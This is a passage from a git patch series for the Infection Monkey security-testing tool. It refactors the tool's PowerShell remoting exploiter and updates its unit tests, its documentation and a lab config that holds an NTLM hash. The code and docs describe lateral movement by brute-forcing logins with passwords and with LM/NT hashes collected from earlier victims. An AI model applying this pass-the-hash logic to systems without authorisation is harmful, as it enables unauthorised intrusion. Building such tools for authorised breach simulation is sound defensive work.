"Bogus_Secret") + + with pytest.raises(ValueError): + format_password(creds) From 71c4e4d8dcd629b4590d94a92aee8cc3fb118400 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 14:04:40 -0400 Subject: [PATCH 06/11] Agent: Fix incorrect host arch identification in PowerShellClient --- .../exploit/powershell_utils/powershell_client.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index e739901f1..ad5854d4a 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -85,8 +85,8 @@ class PowerShellClient(IPowerShellClient): return output def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - output = self._client.execute_cmd(GET_ARCH_WINDOWS) - if "64-bit" in output: + stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS) + if "64-bit" in stdout: return WIN_ARCH_64 return WIN_ARCH_32 From 65c9be90d3ee0a515a36a5f72bdd734d8fdac862 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 14:29:07 -0400 Subject: [PATCH 07/11] Docs: Add NTLM hash details to PowerShell exploiter docs --- docs/content/reference/exploiters/PowerShell.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/exploiters/PowerShell.md b/docs/content/reference/exploiters/PowerShell.md index 5e901e93c..c80943154 100644 --- a/docs/content/reference/exploiters/PowerShell.md +++ b/docs/content/reference/exploiters/PowerShell.md @@ -22,8 +22,9 @@ The PowerShell exploiter can be run from both Linux and Windows attackers. On Windows attackers, the exploiter has the ability to use the cached username and/or password from the current user. On both Linux and Windows attackers, the exploiter uses all combinations of the [user-configured usernames and -passwords]({{< ref "/usage/configuration/basic-credentials" >}}). Different -combinations of credentials are attempted in the following order: +passwords]({{< ref "/usage/configuration/basic-credentials" >}}), as well as +and LM or NT hashes that have been collected. Different combinations of +credentials are attempted in the following order: 1. **Cached username and password (Windows attacker only)** - The exploiter will use the stored credentials of the current user to attempt to log into the @@ -47,6 +48,16 @@ combinations of credentials are attempted in the following order: all combinations of usernames and passwords that were set in the [configuration.]({{< ref "/usage/configuration/basic-credentials" >}}) +1. **Brute force usernames and LM hashes** - The exploiter will attempt to use + all combinations of usernames that were set in the [configuration]({{< ref + "/usage/configuration/basic-credentials" >}}) and LM hashes that were + collected from any other victims. + +1. **Brute force usernames and NT hashes** - The exploiter will attempt to use + all combinations of usernames that were set in the [configuration]({{< ref + "/usage/configuration/basic-credentials" >}}) and NT hashes that were + collected from any other victims. + #### Securing PowerShell Remoting From d27194c5682b99ef284dafdbfe08d8a8906fba5d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 6 Sep 2021 13:50:24 +0200 Subject: [PATCH 08/11] Zoo: Fix powershell bb config for ntlm hash --- envs/monkey_zoo/blackbox/config_templates/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index 4ca0863dd..cd238fd27 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -17,7 +17,7 @@ class PowerShell(ConfigTemplate): "internal.classes.finger_classes": ["PingScanner"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [], - "internal.classes.exploits.exploit_ntlm_hash_list": [ + "internal.exploits.exploit_ntlm_hash_list": [ "d0f0132b308a0c4e5d1029cc06f48692", ], } From e44e8f503e7035b0bb8f2220fca4583625d39a55 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Sep 2021 12:17:32 +0300 Subject: [PATCH 09/11] Refactor powershell client to not perform actions on init and clean up powershell exploiter a bit --- monkey/infection_monkey/exploit/powershell.py | 37 +++++++++++-------- .../powershell_utils/powershell_client.py | 3 -- 2 files changed, 22 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6d6520080..7b4aaec66 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -112,25 +112,32 @@ class PowerShellExploiter(HostExploiter): self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: for (creds, opts) in zip(credentials, auth_options): - try: - client = PowerShellClient(self.host.ip_addr, creds, opts) - - logger.info( - f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, Secret Type: {creds.secret_type.name}" - ) - self._report_login_attempt(True, creds) - + client = PowerShellClient(self.host.ip_addr, creds, opts) + if self._is_client_auth_valid(creds, client): return client - except Exception as ex: # noqa: F841 - logger.debug( - f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" - ) - self._report_login_attempt(False, creds) return None + def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool: + try: + # attempt to execute dir command to know if authentication was successful + client.execute_cmd("dir") + + logger.info( + f"Successfully logged into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, Secret Type: {creds.secret_type.name}" + ) + self._report_login_attempt(True, creds) + + return True + except Exception as ex: # noqa: F841 + logger.debug( + f"Error logging into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" + ) + self._report_login_attempt(False, creds) + return False + def _report_login_attempt(self, result: bool, credentials: Credentials): if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: self.report_login_attempt(result, credentials.username, password=credentials.secret) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index ad5854d4a..55ccd477a 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -77,9 +77,6 @@ class PowerShellClient(IPowerShellClient): connection_timeout=CONNECTION_TIMEOUT, ) - # attempt to execute dir command to know if authentication was successful - self.execute_cmd("dir") - def execute_cmd(self, cmd: str) -> str: output, _, _ = self._client.execute_cmd(cmd) return output From cc1c049ee91cb5f8edb374222c9e0e1c08eb8933 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 9 Sep 2021 11:34:38 +0300 Subject: [PATCH 10/11] Refactor test_login_attemps_correctly_reported in test_powershell.py to address the changes in the flow of powershell and powershell client --- .../exploit/test_powershell.py | 71 +++++-------------- 1 file changed, 17 insertions(+), 54 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index b9254c1d8..fa24ee7ed 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -157,65 +157,28 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter): def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.get_host_architecture = lambda: WIN_ARCH_32 - mock_client.copy_file = MagicMock(return_value=True) - mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.return_value.copy_file = MagicMock(return_value=True) - def allow_ntlm(_, credentials: Credentials, auth_options: AuthOptions): - if credentials.username == USER_LIST[1] and credentials.secret == NT_HASH_LIST[1]: - return mock_client + # execute_cmd method will throw exceptions for 5 first calls. + # 6-th call doesn't throw an exception == credentials successful + execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True] + mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns) - raise TestAuthenticationError - - mock_powershell_client = MagicMock(side_effect=allow_ntlm) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) powershell_exploiter.exploit_host() - assert { - "result": False, - "user": USER_LIST[1], - "password": None, - "lm_hash": "", - "ntlm_hash": "", - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": False, - "user": USER_LIST[1], - "password": PASSWORD_LIST[0], - "lm_hash": "", - "ntlm_hash": "", - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": False, - "user": USER_LIST[0], - "password": "", - "lm_hash": LM_HASH_LIST[0], - "ntlm_hash": "", - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": False, - "user": USER_LIST[1], - "password": "", - "lm_hash": "", - "ntlm_hash": NT_HASH_LIST[0], - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": True, - "user": USER_LIST[1], - "password": "", - "lm_hash": "", - "ntlm_hash": NT_HASH_LIST[1], - "ssh_key": "", - } in powershell_exploiter.exploit_attempts + # Total 6 attempts reported, 5 failed and 1 succeeded + assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns) + assert ( + len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]]) + == 5 + ) + assert ( + len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]]) + == 1 + ) def test_build_monkey_execution_command(): From 1ba10d70595c01104a7c730ecb6dd26e9cc3b687 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Sep 2021 10:33:29 +0200 Subject: [PATCH 11/11] UT: Fix powershell copy_file tests --- .../infection_monkey/exploit/test_powershell.py | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index fa24ee7ed..7c2a04710 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -118,25 +118,23 @@ def authenticate(mock_client): ) def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch): mock_client = MagicMock() - mock_client.get_host_architecture = lambda: arch - mock_client.copy_file = MagicMock(return_value=True) + mock_client.return_value.get_host_architecture = lambda: arch + mock_client.return_value.copy_file = MagicMock(return_value=True) - mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) success = powershell_exploiter.exploit_host() - assert dropper_target_path in mock_client.copy_file.call_args[0][1] + assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1] assert success def test_failed_copy(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.get_host_architecture = lambda: WIN_ARCH_32 - mock_client.copy_file = MagicMock(return_value=False) + mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.return_value.copy_file = MagicMock(return_value=False) - mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) success = powershell_exploiter.exploit_host() assert not success